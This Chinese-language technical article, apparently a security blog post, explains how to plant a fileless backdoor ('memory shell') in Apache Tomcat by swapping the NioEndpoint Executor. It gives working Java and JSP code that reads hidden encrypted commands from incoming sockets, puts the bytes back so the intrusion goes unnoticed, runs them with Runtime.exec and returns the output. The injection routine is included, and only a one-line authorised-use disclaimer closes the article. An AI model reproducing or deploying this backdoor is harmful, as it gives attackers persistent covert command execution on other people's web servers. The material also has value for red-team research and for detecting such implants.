Executor内存马的实现(二)
字数 1592 2025-08-26 22:11:22
Tomcat Executor内存马实现详解
前言
本文详细解析了如何在Tomcat中通过修改NioEndpoint的Executor实现来注入Container类型的内存马,并解决了回显需要多次请求的问题。文章基于《Executor内存马的实现》进行扩展和完善。
Tomcat架构概述
Tomcat整体架构分为两大核心组件:
- Connector:负责处理request请求
- Container:实现具体处理逻辑
原始实现的问题
在最初的Executor内存马实现中,存在一个明显问题:内存马的回显需要经过多次request才能实现。这是因为:
- 执行位置在Executor中,此时Socket流中的数据尚未被read
- 通过线程遍历获取到的request实际上是前一次(或前几次)的缓存数据
- 获取命令需要多次请求才能命中
问题根源分析
通过调试Tomcat处理流程,发现关键点:
- NioEndpoint从nioChannels中取出NioChannel对象
- 调用poller进行事件注册,关键步骤包括:
- NioSocketWrapper的封装
- PollerEvent的注册
- Event添加完成后,Acceptor调用accept方法
- 通过Poller的processKey方法发送给Executor执行
- 恶意代码在重写的execute方法中执行
- SocketProcessor对象通过process方法将socketWrapper送往processor组件
- 最终在fill()方法中实现socket读取
关键发现:Executor执行时,Socket流中的数据还未被read,导致获取的是缓存数据而非当前请求。
解决方案探索
尝试从buffer获取request
最初尝试通过反射获取buffer中的数据,但发现:
- 获取的数据不是当前请求
- 处理逻辑复杂且不稳定
寻找真实Socket
发现从Acceptor组件获取的Socket都处于closed状态,无法重新read。最终在Poller中找到了NioSocketWrapper对象:
- 通过其read方法可获取当前request
- 但会导致后续Processor组件无法获取已读取的数据
解决方案:unRead方法
在SocketWrapperBase类中发现unRead方法,可以将已读取的数据重新放回socket。这是解决问题的关键。
最终实现代码
public String getRequest2(){
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Poller")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
byte[] bytes = new byte[8192]; // Tomcat默认buffer大小
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
LinkedList linkedList = (LinkedList) getField(getField(getField(target, "selector"), "kqueueWrapper"), "updateList");
for (Object obj : linkedList) {
try {
SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, "channel"), "keys");
for (Object tmp : selectionKeys) {
try {
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, "attachment");
try {
nioSocketWrapper.read(false, buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 2, a.indexOf("\r", a.indexOf("blue0")));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioSocketWrapper.unRead(buf);
return b;
} else {
buf.position(0);
nioSocketWrapper.unRead(buf);
continue;
}
} catch (Exception e) {
nioSocketWrapper.unRead(buf);
}
} catch (Exception e) {
continue;
}
}
} catch (Exception e) {
continue;
}
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
} catch (Exception ignored) {
}
}
}
if (threadName.contains("exec")) {
return new String();
} else {
continue;
}
}
}
return new String();
}
关键点说明
- buf.position(0):重置ByteBuffer位置,与read实现逻辑相关
- unRead调用:确保数据被重新放回socket供后续处理
- 线程遍历:定位Poller线程获取NioSocketWrapper
- 命令提取:从请求中识别并解密命令
完整内存马实现
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="com.example.java_backdoor.Executor_ms" %>
<%@ page import="org.apache.catalina.core.StandardThreadExecutor" %>
<%@ page import="java.util.LinkedList" %>
<%@ page import="java.nio.channels.SelectionKey" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
// 省略加密解密方法和辅助方法...
public class threadexcutor extends ThreadPoolExecutor {
// 省略构造函数和其他方法...
@Override
public void execute(Runnable command) {
String cmd = getRequest2();
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != "") {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res);
}
} catch (IOException e) {
e.printStackTrace();
}
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>
<%
// 注入内存马
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
try {
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(
exec.getCorePoolSize(),
exec.getMaximumPoolSize(),
exec.getKeepAliveTime(TimeUnit.MILLISECONDS),
TimeUnit.MILLISECONDS,
exec.getQueue(),
exec.getThreadFactory(),
exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
} catch (ClassCastException e){
StandardThreadExecutor standardexec = (StandardThreadExecutor) getField(nioEndpoint, "executor");
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(standardexec, "executor");
Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(
exec.getCorePoolSize(),
exec.getMaximumPoolSize(),
exec.getKeepAliveTime(TimeUnit.MILLISECONDS),
TimeUnit.MILLISECONDS,
exec.getQueue(),
exec.getThreadFactory(),
exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
}
%>
版本兼容性问题
文章指出Tomcat 8.0以前版本与8.5+版本在处理io时的差异:
-
8.0以前版本:直接使用NioChannel.read(buf)获取数据流
- 不支持read()后将buf重新放回socket
- 需要使用缓存实现
-
8.5+版本:使用SocketWrapperBase封装类
- 实现了transform方法将已读数据放入read buffer
- 支持unRead操作
已知问题
- 回显size过大:可能导致response header溢出错误
- 线程安全性:多线程环境下可能需要额外处理
- 版本兼容性:不同Tomcat版本可能需要调整实现
总结
本文详细解析了Tomcat Executor内存马的实现原理和关键问题解决方案,通过:
- 深入分析Tomcat请求处理流程
- 定位NioSocketWrapper获取当前请求
- 利用unRead方法保持请求完整性
- 实现单次请求即可获取命令并回显结果
这种技术可以用于红队测试和系统安全研究,但请注意仅限合法授权范围内使用。